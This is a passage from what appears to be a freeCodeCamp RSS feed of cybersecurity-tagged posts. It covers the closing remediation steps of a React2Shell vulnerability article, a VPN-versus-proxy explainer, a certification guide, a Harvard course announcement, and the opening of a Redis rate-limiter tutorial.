<li><p>Change the password for your database users.</p>
</li>
<li><p>Rotate AWS Access Keys, Google Cloud Service Account keys, and so on.</p>
</li>
<li><p>Roll your Stripe/PayPal/Razorpay API keys.</p>
</li>
<li><p>Rotate your <code>NEXTAUTH_SECRET</code> or any JWT signing keys.</p>
</li>
</ul>
<h3 id="heading-step-3-do-not-clean-rebuild">Step 3: Do Not "Clean" — Rebuild</h3>
<p>Do not attempt to find and delete malware files on the server. Hackers are good at hiding.</p>
<ul>
<li><p>Destroy the existing container, droplet, or EC2 instance entirely.</p>
</li>
<li><p>Build a fresh instance from your source code (after applying the patch).</p>
</li>
</ul>
<h3 id="heading-step-4-audit-your-logs">Step 4: Audit Your Logs</h3>
<p>Look at your database and cloud provider logs. Did anyone download your entire user database? Did anyone spin up expensive GPU instances on your AWS account? Check for unusual activity that occurred before you patched.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In this article, you learned about the "React2Shell" vulnerability, how to verify it using the original developer's tools, and how to upgrade your app to secure your Server Components. I hope you have a clear idea about why this update is urgent. By being proactive now, you can avoid a catastrophic data breach.</p>
<p>You can follow my <a target="_blank" href="https://x.com/AI_Techie_Arun">Twitter/X account</a> to receive the top AI news everyday. If you wish to learn more about cybersecurity, <a target="_blank" href="https://5minslearn.gogosoon.com/?ref=react2shell-vulnerability">subscribe to my email newsletter</a> and follow me on social media.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ VPNs vs Proxies: What are the Differences? ]]>
                </title>
                <description>
                    <![CDATA[ In the age of online privacy, two tools are often mentioned together: VPNs and proxies. Both hide your IP address and help you browse the internet more privately, but they work in different ways and serve different purposes. From simple security to w... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/vpns-vs-proxies-what-are-the-differences/</link>
                <guid isPermaLink="false">690e629981a4964f4b12b422</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vpn ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 07 Nov 2025 21:20:25 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762549605269/165d4e53-a54e-46b7-95b6-f2b76bcdfc53.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In the age of online privacy, two tools are often mentioned together: VPNs and proxies.</p>
<p>Both hide your IP address and help you browse the internet more privately, but they work in different ways and serve different purposes. From simple security to web scraping for LLM training, both serve various purposes for businesses.</p>
<p>If you have ever wondered which one you should use, this article will help you understand how they work, their main differences, and where residential proxies fit into the picture.</p>
<h2 id="heading-what-well-cover">What We’ll Cover</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-what-is-a-vpn">What is a VPN?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-is-a-proxy">What is a Proxy?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-core-difference-between-vpns-and-proxies">The Core Difference Between VPNs and Proxies</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-performance-and-speed">Performance and Speed</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-use-cases-for-vpns">Use Cases for VPNs</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-use-cases-for-proxies">Use Cases for Proxies</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-combine-vpns-and-residential-proxies">How to Combine VPNs and Residential Proxies</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-which-one-should-you-choose">Which One Should You Choose?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-future-of-privacy-tools">The Future of Privacy Tools</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-is-a-vpn">What is a VPN?</h2>
<p>A <a target="_blank" href="https://en.wikipedia.org/wiki/Virtual_private_network">Virtual Private Network</a>, or VPN, is a service that creates a secure and encrypted tunnel between your device and the internet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762778687218/416de0f8-f05e-4e2f-a52a-e6f029594dcc.png" alt="VPN Architecture" class="image--center mx-auto" width="855" height="318" loading="lazy"></p>
<p>When you connect to a VPN, all your traffic passes through a remote server operated by the VPN provider. This hides your real IP address and encrypts everything you send or receive.</p>
<p>VPNs are often used by individuals who want to protect their privacy or access content that is restricted in their region.</p>
<p>For example, someone in India can use a VPN to connect to a U.S. server and access websites that are available only in the United States. Because the connection is encrypted, internet service providers and hackers cannot see which websites you visit or what data you exchange.</p>
<h2 id="heading-what-is-a-proxy">What is a Proxy?</h2>
<p>A <a target="_blank" href="https://en.wikipedia.org/wiki/Proxy_server">proxy</a> acts as a middleman between your device and the internet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762778705089/7b52dbba-a479-428e-843b-caea962386e8.png" alt="Proxy Architecture" class="image--center mx-auto" width="1000" height="563" loading="lazy"></p>
<p>When you connect to a proxy, your request is first sent to the proxy server, which then forwards it to the target website. The website sees the proxy’s IP address instead of your own.</p>
<p>Unlike VPNs, proxies usually do not encrypt your traffic. This means that while your IP address is hidden, the data itself can still be visible to others.</p>
<p>Proxies are often used for tasks like web scraping, managing multiple social media accounts, or accessing geo-restricted sites in a lightweight way.</p>
<p>There are different types of proxies, such as datacenter proxies, mobile proxies, and residential proxies. Among these, <a target="_blank" href="https://netnut.io/datacenter-vs-residential-proxy-the-ultimate-guide">residential proxies</a> are the most trusted because they use real IP addresses assigned by internet service providers.</p>
<h2 id="heading-the-core-difference-between-vpns-and-proxies">The Core Difference Between VPNs and Proxies</h2>
<p>The biggest difference between a VPN and a proxy lies in encryption.</p>
<p>VPNs encrypt all network traffic from your device, while most proxies do not. This means VPNs provide a higher level of security and privacy. Even if someone intercepts your data, they cannot read it.</p>
<p>Proxies, on the other hand, focus more on IP masking rather than full encryption. They are lighter, faster, and more flexible for specific use cases like automation, scraping, or content testing.</p>
<p>For example, a company that needs to collect product data from multiple e-commerce sites will use residential proxies rather than a VPN because proxies allow scalable, distributed access from different IP addresses.</p>
<p>Another key difference is the level of system-wide protection. A VPN <a target="_blank" href="https://cloud.google.com/learn/what-is-encryption">encrypts all the traffic</a> coming from your device, including background apps.</p>
<p>A proxy typically only routes traffic from specific browsers or applications. This makes VPNs better for personal privacy and proxies better for targeted tasks.</p>
<h2 id="heading-performance-and-speed">Performance and Speed</h2>
<p>Since VPNs encrypt traffic, they can reduce speed due to the extra processing involved. Proxies, by contrast, are often faster because they skip encryption and route only specific requests.</p>
<p>However, not all proxies are equal. Datacenter proxies may be fast but easier to detect, while residential proxies are slower but far more reliable for tasks that require realism. Businesses often accept this small trade-off in speed for better accuracy and reduced blocking.</p>
<p>VPNs usually have fewer IPs and servers compared to proxy networks, which can limit their flexibility. Proxies can rotate thousands of IPs automatically, which helps avoid bans and distribute requests efficiently.</p>
<h2 id="heading-use-cases-for-vpns">Use Cases for VPNs</h2>
<p>VPNs are ideal for individuals who value security and privacy. They are useful for browsing safely on public Wi-Fi, accessing restricted websites, or hiding browsing habits from internet service providers.</p>
<p>Remote workers often use VPNs to securely access corporate networks. Journalists and activists rely on them to bypass censorship or protect communication in restrictive regions.</p>
<p>For everyday users, a VPN provides a simple and effective way to browse anonymously and encrypt all data traffic.</p>
<h2 id="heading-use-cases-for-proxies">Use Cases for Proxies</h2>
<p><a target="_blank" href="https://www.freecodecamp.org/news/what-is-a-proxy-server-in-english-please/">Proxies</a> shine in automation and business scenarios. They are essential for data gathering, web scraping, and digital marketing. By using residential proxies, companies can collect information from multiple websites without getting blocked.</p>
<p>For example, a brand can track how its ads appear to users in different countries. E-commerce businesses can compare competitor prices or monitor product listings in real time. Social media managers use proxies to handle multiple accounts without triggering platform restrictions.</p>
<p>Proxies also help in large-scale <a target="_blank" href="https://netnut.io/llm-web-scraping-guide/">web scraping for LLM training</a>. They allow businesses to gather public data anonymously and at scale without getting blocked or throttled by websites.</p>
<h2 id="heading-how-to-combine-vpns-and-residential-proxies">How to Combine VPNs and Residential Proxies</h2>
<p>In some cases, professionals use both. For example, a researcher may connect to a VPN for encryption and then route specific scraping tasks through residential proxies for location diversity. This hybrid setup balances privacy and data collection efficiency.</p>
<p>Combining them also reduces the risk of IP bans. If a target site starts blocking one set of IPs, the user can switch networks seamlessly. This approach is popular in cybersecurity testing, ad verification, and large-scale monitoring.</p>
<h2 id="heading-which-one-should-you-choose">Which One Should You Choose?</h2>
<p>If your goal is privacy, use a VPN. It secures your entire connection and hides all your online activities. If your goal is automation, data collection, or region-specific testing, use proxies.</p>
<p>Residential proxies are especially effective when websites have strong anti-bot protection or region-based restrictions. They combine anonymity with authenticity, making your traffic look like that of a regular home user.</p>
<p>For individuals who need both security and flexibility, a mix of VPN and proxy can work best. You can encrypt your connection with a VPN and use residential proxies for specific tools or scripts that need rotation and scale.</p>
<h2 id="heading-the-future-of-privacy-tools">The Future of Privacy Tools</h2>
<p>As online tracking becomes more advanced, tools like VPNs and residential proxies are becoming essential for both individuals and businesses. Companies use them to access unbiased market data and protect digital assets, while individuals use them to browse safely and privately.</p>
<p>In the future, we may see hybrid solutions that blend the privacy of VPNs with the scalability of proxy networks. These systems could automatically switch between encryption and proxy routing based on the task at hand, providing a seamless balance between speed and security.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>VPNs and proxies both protect your identity online, but they serve different purposes. VPNs focus on privacy and encryption, while proxies , especially residential proxies , focus on scalability and access.</p>
<p>Understanding how each works helps you choose the right tool for your needs. Whether you want to stay anonymous, collect data safely, or test websites from different countries, using the right combination of VPN and residential proxies can give you both privacy and power in the digital world.</p>
<p><em>Hope you enjoyed this article. Find me on</em> <a target="_blank" href="https://linkedin.com/in/manishmshiva"><em>Linkedin</em></a> <em>or</em> <a target="_blank" href="https://manishshivanandhan.com/"><em>visit my website</em></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Top Cybersecurity Certifications to Boost Your Career ]]>
                </title>
                <description>
                    <![CDATA[ Cybersecurity is one of the fastest-growing fields in the world today.  Every year, more companies face threats that put their data, reputation, and customer trust at risk. As these threats grow, so does the demand for skilled cybersecurity professio... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/top-cybersecurity-certifications-to-boost-your-career/</link>
                <guid isPermaLink="false">690933925fbdca38da0ea33b</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Certification ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 03 Nov 2025 22:58:26 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762183746663/9f26b839-70c5-4ab6-b5ff-53ead8d2311b.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Cybersecurity is one of the fastest-growing fields in the world today. </p>
<p>Every year, more companies face threats that put their data, reputation, and customer trust at risk. As these threats grow, so does the demand for skilled cybersecurity professionals. </p>
<p>One of the best ways to stand out in this competitive field is to earn a recognised certification. Certifications not only validate your skills but also open doors to better job opportunities, higher pay, and global recognition.</p>
<p>In this article, we will look at the top five cybersecurity certifications that can help you build or advance your career. Whether you are new to cybersecurity or already working in the field, these certifications can take your skills and credibility to the next level.</p>
<h2 id="heading-what-we-cover"><strong>What we Cover</strong></h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-certified-information-systems-security-professional-cissp">Certified Information Systems Security Professional (CISSP)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-certified-information-security-manager-cism">Certified Information Security Manager (CISM)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-certified-ethical-hacker-ceh">Certified Ethical Hacker (CEH)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-comptia-security">CompTIA Security+</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-offensive-security-certified-professional-oscp">Offensive Security Certified Professional (OSCP)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-choosing-the-right-certification">Choosing the Right Certification</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-certified-information-systems-security-professional-cissp"><strong>Certified Information Systems Security Professional (CISSP)</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761892831028/e7c568fc-a0de-403f-bd51-82ec50926e93.jpeg" alt="CISSP" class="image--center mx-auto" width="1024" height="512" loading="lazy"></p>
<p>The <a target="_blank" href="https://www.isc2.org/certifications/cissp">CISSP, offered by (ISC)²</a>, is considered one of the most prestigious certifications in cybersecurity. It’s designed for experienced professionals who want to prove their ability to design, implement, and manage an enterprise-level security program.</p>
<p>CISSP is often seen as a leadership certification rather than a purely technical one. It demonstrates a deep understanding of security principles across multiple domains, including areas such as security and risk management, asset security, security architecture and engineering, communication and network security, identity and access management, security assessment and testing, security operations, and software development security.</p>
<p>Together, these eight domains cover every major aspect of protecting an organization’s information systems. Several security agencies have highlighted the <a target="_blank" href="https://www.1kosmos.com/security-glossary/cissp/">importance of CISSP certification</a>, so it’s an expected certification if you are looking for senior-level security roles.</p>
<p>To earn the CISSP, you need at least five years of professional experience in two or more of these domains. The exam itself is challenging and is designed to test not just what you know, but how you apply that knowledge in complex, real-world scenarios. It requires you to think both technically and strategically, balancing hands-on expertise with business and management considerations.</p>
<p>Even if you don’t yet meet the experience requirement, you can still pass the exam and become an Associate of (ISC)². Once you complete the necessary work experience, you can upgrade to a full CISSP.</p>
<p>CISSP holders are often found in senior roles such as Chief Information Security Officer, Security Architect, or IT Director. Employers worldwide value this certification because it demonstrates your understanding of both the technical and organisational aspects of cybersecurity.</p>
<p>If your goal is to move into senior management or to lead enterprise-wide security programs, CISSP remains one of the most respected and valuable certifications you can pursue.</p>
<h2 id="heading-certified-information-security-manager-cism"><strong>Certified Information Security Manager (CISM)</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761892925031/521f3e9d-07b6-40f1-b6ef-9d00ace8bc3f.jpeg" alt="CISM" class="image--center mx-auto" width="1200" height="480" loading="lazy"></p>
<p>The <a target="_blank" href="https://www.isaca.org/credentialing/cism">CISM, managed by ISACA</a>, is a globally recognized certification for professionals who manage, design, and oversee an enterprise’s information security program. It’s particularly valuable for those who want to move from technical roles into management.</p>
<p>CISM focuses on four main areas: information security governance, risk management, program development and management, and incident management. These domains reflect the skills required to align an organization’s security strategy with its overall business goals.</p>
<p>Unlike certifications that focus mainly on technical details, CISM emphasizes the connection between business needs and security policies. It prepares you to communicate effectively with senior management and to justify security investments in terms of business outcomes.</p>
<p>Industry leaders like DestCert have highlighted the <a target="_blank" href="https://destcert.com/resources/cism-cost/">importance of the CISM certification</a> for its role in shaping professionals who understand both the technical and strategic sides of cybersecurity. As organizations increasingly seek leaders who can balance risk, compliance, and technology, the demand for CISM-certified experts continues to grow.</p>
<p>To earn the CISM, you need at least five years of experience in information security management, with at least three years of experience in at least three of the four CISM domains. After passing the exam, you also need to agree to ISACA’s code of ethics and commit to continuing education to keep your certification active.</p>
<h2 id="heading-certified-ethical-hacker-ceh"><strong>Certified Ethical Hacker (CEH)</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761892973456/f8c760ae-734e-4420-8961-d41a931458cc.jpeg" alt="CEH" class="image--center mx-auto" width="1280" height="720" loading="lazy"></p>
<p>The <a target="_blank" href="https://www.eccouncil.org/train-certify/certified-ethical-hacker-ceh/">CEH certification</a>, offered by EC-Council, is one of the most recognized credentials for those who want to specialize in ethical hacking and penetration testing. It teaches you how to think like a hacker, identify vulnerabilities, and secure systems before attackers can exploit them.</p>
<p>CEH covers topics such as footprinting, scanning, enumeration, system hacking, web application hacking, and social engineering. The goal is to understand the attacker’s mindset so you can defend more effectively. It also includes hands-on labs that allow you to practice hacking techniques in a controlled environment.</p>
<p>This certification is often the first step for many cybersecurity professionals who want to move into roles such as penetration tester, red team member, or security analyst. It demonstrates that you know how to identify weaknesses and apply countermeasures to protect systems and data. Since it’s a beginner certification, there are often questions whether <a target="_blank" href="https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/is-ceh-worth-it/">CEH is worth taking</a>. But it is still the most widely known cybersecurity certification in existence.</p>
<p>Employers value CEH because it bridges the gap between theory and practice. While it’s not as advanced as some other certifications, it provides a solid foundation for anyone interested in offensive security. If you are looking to start a career in ethical hacking or penetration testing, CEH is an excellent choice.</p>
<h2 id="heading-comptia-security"><strong>CompTIA Security+</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761893006747/1a81f293-f6d5-4292-a23f-d4e185df03d0.png" alt="Security+" class="image--center mx-auto" width="1200" height="666" loading="lazy"></p>
<p><a target="_blank" href="https://www.comptia.org/en/certifications/security/">CompTIA Security+</a> is one of the most widely accepted entry-level certifications in cybersecurity. It’s ideal for beginners who want to establish a strong foundation in security concepts before moving on to advanced certifications.</p>
<p>Security+ covers essential topics such as threat management, cryptography, risk management, identity management, and incident response. It also focuses on practical skills needed to perform day-to-day security tasks. Unlike some certifications that require extensive experience, Security+ is accessible to anyone with a basic understanding of networking and IT systems.</p>
<p>The certification is vendor-neutral, which means it applies to a broad range of technologies rather than being tied to a specific company or product. Many organizations use it as a benchmark for hiring junior security professionals or system administrators.</p>
<p>Security+ is also approved by the U.S. Department of Defense for its cybersecurity workforce, which further adds to its credibility. <a target="_blank" href="https://www.comptia.org/en/blog/how-do-i-get-my-comptia-security-certification/">Passing the exam</a> shows that you understand the key principles of cybersecurity and are ready to take on entry-level security roles.</p>
<p>After earning Security+, many professionals go on to pursue more advanced certifications such as CISSP or CISM. It serves as a perfect starting point for building a long-term cybersecurity career.</p>
<h2 id="heading-offensive-security-certified-professional-oscp"><strong>Offensive Security Certified Professional (OSCP)</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761893051728/04ea83a1-f979-4c7e-a69d-eb18f665d6e8.png" alt="OSCP" class="image--center mx-auto" width="1200" height="630" loading="lazy"></p>
<p>The <a target="_blank" href="https://en.wikipedia.org/wiki/Offensive_Security_Certified_Professional">Offensive Security Certified Professional (OSCP)</a>, offered by Offensive Security, is one of the most respected certifications in the field of ethical hacking and penetration testing. Known for its hands-on and highly practical nature, the OSCP sets a high standard for proving real-world hacking skills.</p>
<p>Unlike many certifications that focus on theory or multiple-choice questions, the OSCP exam challenges you to demonstrate your ability to find and exploit vulnerabilities in live machines within a controlled environment. It requires you to hack into multiple systems, gain administrative access, and document your process in a professional penetration testing report.</p>
<p>The OSCP exam is widely regarded as one of the toughest in cybersecurity. Candidates are given 24 hours to complete the test, during which they must identify, exploit, and escalate privileges across different targets. This format tests not only your technical knowledge but also your persistence, creativity, and problem-solving skills.</p>
<p><a target="_blank" href="https://astikrawat.medium.com/oscp-step-by-step-guide-to-success-9ff3d189dbb2">Earning the OSCP</a> shows that you can think like an attacker, apply advanced exploitation techniques, and work methodically under pressure. It’s ideal for people who want to advance their careers in offensive security, red teaming, or penetration testing. Common job roles for OSCP holders include penetration tester, security consultant, red team operator, and exploit developer.</p>
<p>The OSCP focuses on practical skills such as network scanning, enumeration, buffer overflows, privilege escalation, and pivoting through networks. The accompanying course, “Penetration Testing with Kali Linux (PWK),” provides comprehensive training that helps candidates prepare for the exam by learning through real-world scenarios.</p>
<p>Employers value the OSCP because it demonstrates more than just knowledge. It also proves your ability to apply that knowledge in complex, hands-on situations. Many in the cybersecurity industry consider it a rite of passage for ethical hackers and a mark of true technical skill.</p>
<p>If your goal is to become an advanced penetration tester or to build deep technical expertise in offensive security, earning the OSCP is one of the most rewarding certifications you can pursue.</p>
<h2 id="heading-choosing-the-right-certification"><strong>Choosing the Right Certification</strong></h2>
<p>Selecting the right certification depends on your current experience and career goals. If you are new to cybersecurity, CompTIA Security+ is a great place to start. If you already have some experience and want to specialize in ethical hacking, the CEH will help you build practical offensive skills.</p>
<p>For those aiming for leadership and management positions, CISM and CISSP are both excellent choices. CISM focuses on aligning security with business strategy, while CISSP focuses on designing and managing enterprise-wide security programs. If your career involves core technical expertise, the OSCP is a natural next step.</p>
<p>Each certification not only validates your technical skills but also strengthens your reputation as a trusted cybersecurity professional. Employers often use certifications as a signal of commitment and capability, making them a valuable investment in your career.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Cybersecurity is a field that never stops evolving. New threats emerge every day, and the technology used to defend against them changes just as quickly. To stay relevant and competitive, you’ll need to keep learning and proving your expertise. This will help you both advance your career and be prepared to defend what matters most.</p>
<p><em>Hope you enjoyed this article. Find me on</em> <a target="_blank" href="https://linkedin.com/in/manishmshiva"><em>Linkedin</em></a> <em>or</em> <a target="_blank" href="https://manishshivanandhan.com/"><strong><em>visit my website</em></strong></a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Learn Cybersecurity from Harvard University ]]>
                </title>
                <description>
                    <![CDATA[ freeCodeCamp just posted a Harvard University course that will give you a solid introduction to cybersecurity. It's taught by one of the world's most-loved computer science teachers, Dr. David J. Malan. In this course, you’ll learn how to secure your... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/learn-cybersecurity-from-harvard-university/</link>
                <guid isPermaLink="false">69039b943b42750686df8138</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ youtube ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Beau Carnes ]]>
                </dc:creator>
                <pubDate>Thu, 30 Oct 2025 17:08:36 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761844053497/6487b459-add3-4f7a-a50a-258f9a7b771e.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>freeCodeCamp just posted a Harvard University course that will give you a solid introduction to cybersecurity.</p>
<p>It's taught by one of the world's most-loved computer science teachers, Dr. David J. Malan.</p>
<p>In this course, you’ll learn how to secure your accounts, data, systems, and software against today’s threats. You’ll also learn how to recognize and evaluate tomorrow’s, both at home and at work. Then you’ll learn how to preserve your own privacy as well.</p>
<p>This course teaches you how to view cybersecurity not in absolute terms but in relative ones as well: as a function of risks and rewards (for an adversary) and costs and benefits (for you).</p>
<p>Dr. Malan presents both high-level and low-level examples of threats, providing students with all they need to know technically to understand both.</p>
<p>Here are the sections in this course:</p>
<ul>
<li><p>Introduction</p>
</li>
<li><p>Securing Accounts</p>
</li>
<li><p>Securing Data</p>
</li>
<li><p>Securing Systems</p>
</li>
<li><p>Securing Software</p>
</li>
<li><p>Preserving Privacy</p>
</li>
</ul>
<p>Watch the course on <a target="_blank" href="https://youtu.be/9HOpanT0GRs">the freeCodeCamp.org YouTube channel</a> (8-hour watch).</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/9HOpanT0GRs" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build a Rate Limiter with Redis and Python to Scale Your Apps ]]>
                </title>
                <description>
                    <![CDATA[ If you've ever built a web application, you know that without a proper mechanism to control traffic, your application can become overwhelmed, leading to slow response times, server crashes, and a poor user experience. Even worse, it can leave you vul... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/build-a-rate-limiter-with-redis-and-python/</link>
                <guid isPermaLink="false">68dfe6e0dcc5f825f4d48c85</guid>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ api ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sravan Karuturi ]]>
                </dc:creator>
                <pubDate>Fri, 03 Oct 2025 15:08:16 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759503803144/4d974610-95dc-4db8-989a-0d705dc4d431.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you've ever built a web application, you know that without a proper mechanism to control traffic, your application can become overwhelmed, leading to slow response times, server crashes, and a poor user experience. Even worse, it can leave you vulnerable to Denial-of-Service (DoS) attacks. This is where rate limiting comes in.</p>
<p>In this tutorial, you’ll build a distributed rate limiter. This is the kind of system you need when your application is deployed across multiple servers or virtual machines, and you need to enforce a global limit on all incoming requests.</p>
<p>You’ll build a simple URL shortener application and then implement a robust rate limiter for it using a powerful and efficient combination of tools:</p>
<ul>
<li><p>Python and Flask for your web application.</p>
</li>
<li><p>Redis as your high-speed, centralized data store for tracking requests.</p>
</li>
<li><p>Terraform and Proxmox to define and provision your virtual machine infrastructure.</p>
</li>
<li><p>Docker to containerize your application for easy deployment.</p>
</li>
<li><p>Nginx as a load balancer to distribute traffic across your app servers.</p>
</li>
<li><p>k6 to load-test your system and prove that your rate limiter actually works.</p>
</li>
</ul>
<p>This is intended for new developers learning about various system design concepts or for experts who just want a refresher.</p>
<p>By the end of this guide, you'll understand not just the code, but the complete system architecture required to deploy a scalable, resilient application.</p>
<p>Let's get started!</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>While not absolutely required to follow along, I’d recommend setting up a Proxmox server on an old laptop to implement the topics you learn and code along with the article. I recommend this <a target="_blank" href="https://www.youtube.com/watch?v=5j0Zb6x_hOk&amp;list=PLT98CRl2KxKHnlbYhtABg6cF50bYa8Ulo">YouTube playlist</a> for getting started. Please note that I am in no way affiliated with this channel. I just found it helpful for me.</p>
<p>However, If you do not have a local Proxmox server, you can skip that part and just follow along to understand how a rate limiter is built and how it is set up to properly work with multiple servers.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-the-big-picture-our-system-architecture">The Big Picture: Our System Architecture</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-1-how-to-define-the-infrastructure-with-terraform">Step 1: How to Define the Infrastructure with Terraform</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-2-how-to-implement-the-rate-limiter-logic-in-python">Step 2: How to Implement the Rate Limiter Logic in Python</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-step-3-containerizing-and-testing">Step 3: Containerizing and Testing</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-the-big-picture-our-system-architecture">The Big Picture: Our System Architecture</h2>
<p>Before we dive into the code, let's look at the architecture we're building. I will be using <a target="_blank" href="https://www.proxmox.com/en/products/proxmox-virtual-environment/overview">Proxmox Virtual Environment</a> to setup a server cluster just like you would have in a datacenter.</p>
<h3 id="heading-how-to-set-up-proxmox">How to Set Up Proxmox</h3>
<p><code>Proxmox Virtual Environment</code> is an open source platform for virtualization. It lets you manage multiple VMs, ccontainers and other clusters with ease. For instance, I turned my old gaming computer into a Proxmox server which lets me run more than 20 virtual machines on it at the same time, making it similar to my very own datacenter. This lets me experiment with distributed applications by simulating datacenter environments.</p>
<p>To setup your own cluster, all you need is an old computer. You can download the ISO image from <a target="_blank" href="https://www.proxmox.com/en/downloads">here</a> and boot from the USB drive. Once you install it, you can configure the host machine via a web browser on any other computer on the same network.</p>
<p>For example, my proxmox server is located at <code>10.0.0.108</code> and I can access it via the browser on my laptop.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759194790299/35e9363f-b739-4085-a589-c1bafbac0504.png" alt="Example Proxmox cluster" class="image--center mx-auto" width="3680" height="2206" loading="lazy"></p>
<p>We define all our virtual machines in our <code>main.tf</code> file. And run a simple command <code>terraform apply</code> to spin these servers up. For more reading on how to use Terraform with Proxmox, I recommend this <a target="_blank" href="https://spacelift.io/blog/terraform-proxmox-provider">blog post</a></p>
<p>Back to our use case, we’ll have a few virtual machines that will serve as different kinds of servers:</p>
<ol>
<li><p>A Load balancer</p>
</li>
<li><p>A Rate Limiter ( A Redis Cache )</p>
</li>
<li><p>Two Web Servers</p>
</li>
<li><p>A Postgres database</p>
</li>
<li><p>One Virtual Machine that will test the load by simulating hundreds of calls per minute.</p>
</li>
</ol>
<p>If all of this seems daunting, don’t worry too much about it. You don’t need to set all this up to follow along.</p>
<h3 id="heading-centralized-rate-limiter">Centralized Rate Limiter</h3>
<p>Since our application will run on multiple servers (or "nodes"), we can't store request counts in memory on each individual server. Why? Because each server would have its own separate count, and we wouldn't have a <em>global</em> rate limit.</p>
<p>The solution is to use a centralized data store that all our application nodes can access. This is where Redis comes in.</p>
<p>Here’s a diagram of our setup:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758476002871/1d70ce5b-e19c-4d7d-9c0b-cc18840a07bf.png" alt="A Small diagram depicting the architecture we'll form with all these virtual nodes" class="image--center mx-auto" width="2904" height="1173" loading="lazy"></p>
<ol>
<li><p>User requests first hit our Nginx load balancer.</p>
</li>
<li><p>The load balancer distributes the traffic evenly between our two web server VMs. The configuration is simple, using an upstream block to define the servers.</p>
</li>
<li><p>Each web server runs our Python Flask application inside a Docker container.</p>
</li>
<li><p>Before processing any request, the Flask app communicates with the central Redis rate limiter VM to check if the user has exceeded the rate limit.</p>
</li>
<li><p>If the user is within the limit, the app processes the request and interacts with the PostgreSQL Database. If they're over the limit, it sends back a “429 Too Many Requests” error.</p>
</li>
</ol>
<p>This architecture ensures that no matter which web server handles the request, the rate limit is checked against the same, shared data source.</p>
